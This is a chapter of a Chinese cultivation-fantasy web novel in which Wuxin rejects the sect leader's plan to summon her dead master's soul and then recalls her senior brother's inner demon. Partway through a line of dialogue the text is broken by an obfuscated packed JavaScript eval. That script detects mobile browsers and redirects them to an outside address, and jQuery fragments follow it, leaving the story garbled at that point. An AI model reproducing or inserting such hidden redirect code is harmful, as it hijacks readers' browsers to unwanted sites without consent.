50. 烛火自明四

作品:《无情道飞升,靠恋爱脑?

    掌门搓手站在无心门前时,山尘恰好回来。


    二人对视片刻,掌门扯出一个讨好的笑。


    “魔尊大人,别来无恙啊。”


    山尘好整以暇地望着他,似笑非笑道:“呦呵大驾光临,有失远迎啊。”


    掌门装作听不出山尘语气里的嘲讽,没脸没皮道:“不知无心仙子可否在洞府?”


    山尘没应声,微微侧身,给来人让了条道。


    掌门一路点头哈腰进了屋,起初还有交谈声,渐渐地,屋内安静了下来,窸窸窣窣的风声吹打着窗户,世界仿佛静止了般。


    山尘推门而入,屋内的气氛并不算融洽,无心坐在主位上,以一种极其好笑又轻蔑的眼神看着掌门。


    “真亏你能说的出口。”


    无心皮笑肉不笑,看向掌门的脸隐隐有了杀意。


    “师侄啊,眼下你们不让动老三,玄天宗顶着众人压力已是极限……”


    “你找死!”砰的一声,无心手中茶盏碎裂,水珠顺着手腕滴滴答答向外流,她的手掐在掌门脖子上,速度快得让人来不及看清。


    掌门来不及思考,只见无心一脸悲愤:“师父生前为宗门做了如此多,为天下苍生身死道消,死后竟也不得安宁吗?”


    “抽灵取魂。”


    “亏你们想得出来,岂非让他死了也不得安生?”


    掌门似是理亏,声音有些颤抖。


    “眼下守墨已经离开,只有你们三人。图南自是不同意,可虚白已经答应开启灵潭……”


    “只要我们请魂成功,就能知晓扶光的去处,霜寒的缘由,你,你还能再见你师父……两全其美啊。”


    无心强忍住暴起的冲动:“请魂之后,最后一丝神魂……定然支撑不了太久。”


    “师父当年献祭而亡,本就不入轮回,神魂消散……”


    无心的话带着些哽咽,隐隐能看到眼中泛起的泪光:“消散了,便什么都不剩了……”


    “人死不能复生,将其发挥最大价值,可是一笔稳赚不赔的买卖。”


    “师侄你要权衡利弊,总不能一辈子守着执念过日子吧?”


    掌门苦口婆心,试图说服无心,怎料无心丝毫不领情,她揪住掌门的衣领,愤怒道:“你别忘了,这掌门之位,是谁保你坐上的,背信弃义,是会遭天谴的。”


    屋内寂静了片刻,不知无心的那句话惹到了掌门,他挣扎着起身,肥硕的身躯立起,脸上隐隐带了些怒气。


    “你,你懂什么。”他哆嗦着手指向无心,“是,你师父光风霁月,你师父本该继任掌门!”


    “是他不染凡尘,宽宏大量将掌门位置让给我!”


    “是他亲自向长老们举荐了我,他是仙门百家的典范,是宗门最有天资的人,是你们的好师父。”


    “我不如他,他深明大义,他受万人敬仰。”


    “那别来找我啊,继任的时候像个烫手山芋般丢来丢去,都不想操劳是吧!”


    掌门喘着粗气,圆滚滚的老男人破天荒地有了情绪,哽咽地质问无心:“他样样都好,行了吧?”


    “我是坏人!”他拍着胸脯,一字一句道,“你既不愿耗费他的神魂,便将自明拖出去顶罪!”


    他留下几句话,气势汹汹地离开。


    无心瘫坐在椅子上,恍惚地看着窗外。


    远处飞鸟掠过群山,冲入云层,留下长长的鸣响。


    “还没有太糟糕。”山尘摇晃着手中的信纸,“有个好消息,想不想听?”


    “在自明的书房信件中,有几张,确实不同寻常。”


    “我看过了,全部被下了迷魂咒,咒法隐藏在纸面中,接触久了,便会神志不清。”


    无心拿起那张信纸,端详片刻,良久将其轻轻放到桌边:“所有人都知晓,师兄是被冤枉的。”


    “只是大家不愿面对罢了。”


    山尘了然,开口提醒:“密切接触此物的只有两人。”


    “不必费心去找到底是哪个了。”


    “想来,两人狼狈为奸也不是没可能。”


    “山尘……”无心呆呆地望着远处,口中轻轻呼唤着山尘的名字,“山尘……”


    “我在。”


    山尘蹲在无心脚边,笑盈盈地握住她的手,轻声问道:“怎么了?”


    无心将空洞的视线转移到山尘脸上,她看着山尘细腻的皮肤,在阳光下泛着温润的光。


    “我好累,好想寻出地界歇歇。”


    “天下之大,哪里都可以,只要你想,我便带你去。”


    “北境,幽都,大荒,只要你想。”


    无心嘴一撇,嗔怪地打了他一下:“我要回家。”


    “行。”山尘横力将无心抱起,抬脚便要离开。


    “哎哎哎……”无心在他怀中笑,“放开我。”


    她胡乱扭着,将脑袋凑到山尘脖颈处蹭他。


    “哪有家啊,胡闹,你要带我去哪?”


    山尘两手抱人腾不开,便用鼻尖轻轻点了下无心的脸蛋:“你在哪,哪里就是家。”


    “放我下来。”


    无心被他这话说红了脸,低头不愿看他。


    山尘将人抱到院中,借着院中池塘微凉的清风,吹开了无心脸颊的红晕。


    修仙界各怀鬼胎,受伤的弟子迟迟未能清醒,各大派都盯着玄天宗,这场由霜寒与无情道引发的乱子,终究还是需要他们上前顶罪。


    若一直护着自明,便要榨干师父精魂。


    无心觉得好笑,只得感慨物是人非。


    “大师兄,应当是最……最心疼师父的。”无心摇头。


    山尘在一旁瞪大双眼:“他?心疼扶光仙君?”


    众人皆知,自扶光仙君离世后,虚白是第一个离开宗门的,无论当时的葬礼,还是后世的祭奠,一次都未曾探望。


    “师父还未被封仙君时,大师兄便跟着他了。”


    “大师兄天资好,又肯上进,继承师父的衣钵是迟早的事情。”


    无心托腮,眼神飘浮在空气中,慢悠悠地讲道:“就在混沌之魔爆发之前,大师兄因着师父,生出了心魔。”


    “啊?”


    山尘几乎要跳起来。


    无心急忙将点心塞进他口中:“嘘,莫要声张!”


    山尘气急败坏:“那幕后之人一定是他,你怎么不早些说?”


    无心冲他嘿嘿一笑:“不可能,我早已告过状了。”


    “当年我发现他奇奇怪怪,修为缓慢,以为是瓶颈期,未承想他心魔结发作被我逮了个正着。”


    “他不让我告诉师父,扬言若泄露便杀了我。”


    无心抓起桌上的点心,放在口中吧唧吧唧道:“嘿嘿,老娘才不管。”


    “他个糟心玩意终于被老娘逮住了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192298|191486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “我扭头便找师父告状。”


    “啧啧,太爽了。”


    无心边吃边和山尘绘声绘色地描述:“我跟你说,我从未见他挨过如此狠的打,哈哈哈哈哈……”


    随后,像是想到了什么,无心叹气道:“不过,他并没多难受。”


    无心撇嘴,一脸不解气的样子:“都是师父在受罪。”


    “师父亲自起了神谕,以身为誓,以血肉为引,将大师兄的因果转移到自己身上,封印了他的七情六欲。”


    “什么?”


    山尘瞪大双眼,独自承担因果?只是为了救一个生了心魔的弟子,扶光仙君便如此铤而走险。


    “自那之后,大师兄一直都是这副冷冰冰的样子。”


    “我不跟他计较,哼。”


    “所以,你并未怀疑他,是觉得他早已没了七情六欲,不能修炼魔功。”


    无心勉强点了点头:“我相信师父。”


    “当时天象异动,我害怕师父死掉,抱头痛哭。”


    “师父安慰我说不会再有事了,只要他在的每时每刻,大师兄都不会再这样了。”


    “即使他真的从中作梗,应当也修炼不了混沌魔气。”


    无心沉浸在过往的回忆中。


    山尘并未言语,只是思索片刻,而后上前:“可扶光仙君离世多年,我虽不了解无情道的阵法,可施术者一旦去世,封印也……”


    “嗯……我不是没有考虑。”无心挠了挠头,“但若师兄恢复,只怕他会立刻将我杀死。”


    “大师兄最讨厌我了。”


    “而且他那么喜欢师父,但师父死后……”


    无心陷入长长的回忆。


    混沌之魔从众人眼前褪去,空中飘散着迷蒙的血腥味,无心摇摇晃晃地起身,看着远处浓烟,跪倒在地。


    师父没了,施了舍身咒,行了天下道。


    耳畔是周围人的欢呼雀跃,混沌之魔被封印了,他们终于不必再担惊受怕。


    圣人选择了牺牲自己,保全所有人。


    无心浑浑噩噩往大战中心走。


    她实力低微,一直在外场杀敌,此刻距离爆炸中心太远。


    长久的战事耗费了她的灵力,残留的魔气仿佛肆虐的暴雪,疯狂涌入她早已不支的身体,冻住她的呼吸。


    扑通一声,无心跪倒在地,眼前一阵头晕目眩,几度昏迷。


    她匍匐着向前爬去,地面被灵力摩擦得滚烫,鲜血顺着皮肤涌出。


    无心没有在意,因为比鲜血来得更早的,是眼中的泪水。


    就在她泪眼蒙眬赶到战场时,众人晕倒一片,魔族与各大宗门的长老死伤无数,师姐躺在远处的石壁上,早已神志不清。


    只有大师兄……


    虚白纵身而立,衣摆干净,浑身上下不染凡尘。


    听到身后的响动,他回头,恰好与无心对视。


    无心顺着他侧身的缝隙看向远处的封印,直到泪水模糊了她的视线,无心也没看到虚白那冰冷的脸上出现任何一丝的表情变化。


    冷漠,平静。


    无心比任何人都知道,师父对于大师兄的重要性。


    所以她从未怀疑过,师父的封印失效。


    若有情,为何沉默?


    若有情,为何离开?


    若有情,为何平静?


    无心不信。